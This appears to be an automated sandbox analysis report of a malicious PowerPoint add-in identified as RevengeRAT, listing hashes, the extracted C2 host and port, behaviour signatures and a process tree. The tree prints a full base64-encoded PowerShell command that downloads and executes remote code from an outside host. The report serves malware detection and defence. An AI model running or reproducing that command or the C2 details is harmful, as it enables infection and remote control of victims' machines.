Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    13-05-2023 01:13

General

  • Target

    f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981.ppam

  • Size

    17KB

  • MD5

    515ff2344f241cfdb65a08b0c6fa90f9

  • SHA1

    36b640ba2e0c9b6da14364e4b24a960b964b8377

  • SHA256

    f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981

  • SHA512

    796fd73c9820ff56456deab07219ad29a25c8231d3c3fe60b2aa73ef3392f548e76eef12256f52a3aa447e251004153cb2c85c01bfda57d758a2a04c52aca44e

  • SSDEEP

    384:dXPgOGHYbeUPGocggolFNXy82T4XIERqzmhb:VPpGHYfGTggol7O44nzW

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

m7.ddns.com.br:5222

Mutex

30c2ac3031a0

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\f918fb220166f75e3bd9f8cd162b411bfd9ba210f4abe0f9509c5a7bf722a981.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1264
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:836
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGQAYwA0ADQANAAuADQAcwB5AG4AYwAuAGMAbwBtAC8AZABvAHcAbgBsAG8AYQBkAC8AWQBlAEEASwBaAFAARABGAC8AUgBFAFYARQBOAEcARQBSAC4AagBwAGcAPwBkAHMAaQBkAD0AdgBkAGcASQBTAHYAbAB3AC4ANgAyADkAYwBiAGQAZgA3ADUAOQAxAGYAOAA5ADIANwAyADMAYQA4AGUANgA0ADAANABlADcANAA3ADgAOQA0ACYAcwBiAHMAcgA9AGIAYgA5ADMAZgA0AGEANgA3AGIANQBlAGQAZAA3AGEANgAwADcANgBiAGQAYgBkADIAZgA1ADAAOABmAGIANABhAGQAZgAmAGIAaQBwAD0ATQBUAGcAMQBMAGoARQAxAE0AeQA0AHgATgB6AFkAdQBNAGoASQAmAGwAZwBmAHAAPQA0ADAADQAKACcAKQA7ACAADQAKAEkAdwBTAFcAWABwAHYAegB0AG4ARABYAHUARgBTAEYARQBlAE8AYQBSAFUATAB2AGQASQBlAFAARwB5AGkASQBiAGgAYQBYAHMATwBTAGsAYgBXAGIAeQBTAEUAYgB3AGMAWgBGAFkADQAKAA==""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:520
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
            PID:940

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Defense Evasion

      Modify Registry

      1
      T1112

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/520-82-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/520-93-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/520-64-0x0000000002470000-0x00000000024B0000-memory.dmp
        Filesize

        256KB

      • memory/520-63-0x0000000002470000-0x00000000024B0000-memory.dmp
        Filesize

        256KB

      • memory/520-83-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/520-91-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/520-89-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/520-87-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/520-85-0x0000000002650000-0x0000000002668000-memory.dmp
        Filesize

        96KB

      • memory/940-94-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-95-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-96-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-97-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-98-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
        Filesize

        4KB

      • memory/940-99-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-101-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-103-0x0000000000400000-0x000000000040A000-memory.dmp
        Filesize

        40KB

      • memory/940-104-0x00000000049A0000-0x00000000049E0000-memory.dmp
        Filesize

        256KB

      • memory/940-105-0x00000000049A0000-0x00000000049E0000-memory.dmp
        Filesize

        256KB

      • memory/1264-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB

      • memory/1264-54-0x000000005FFF0000-0x0000000060000000-memory.dmp
        Filesize

        64KB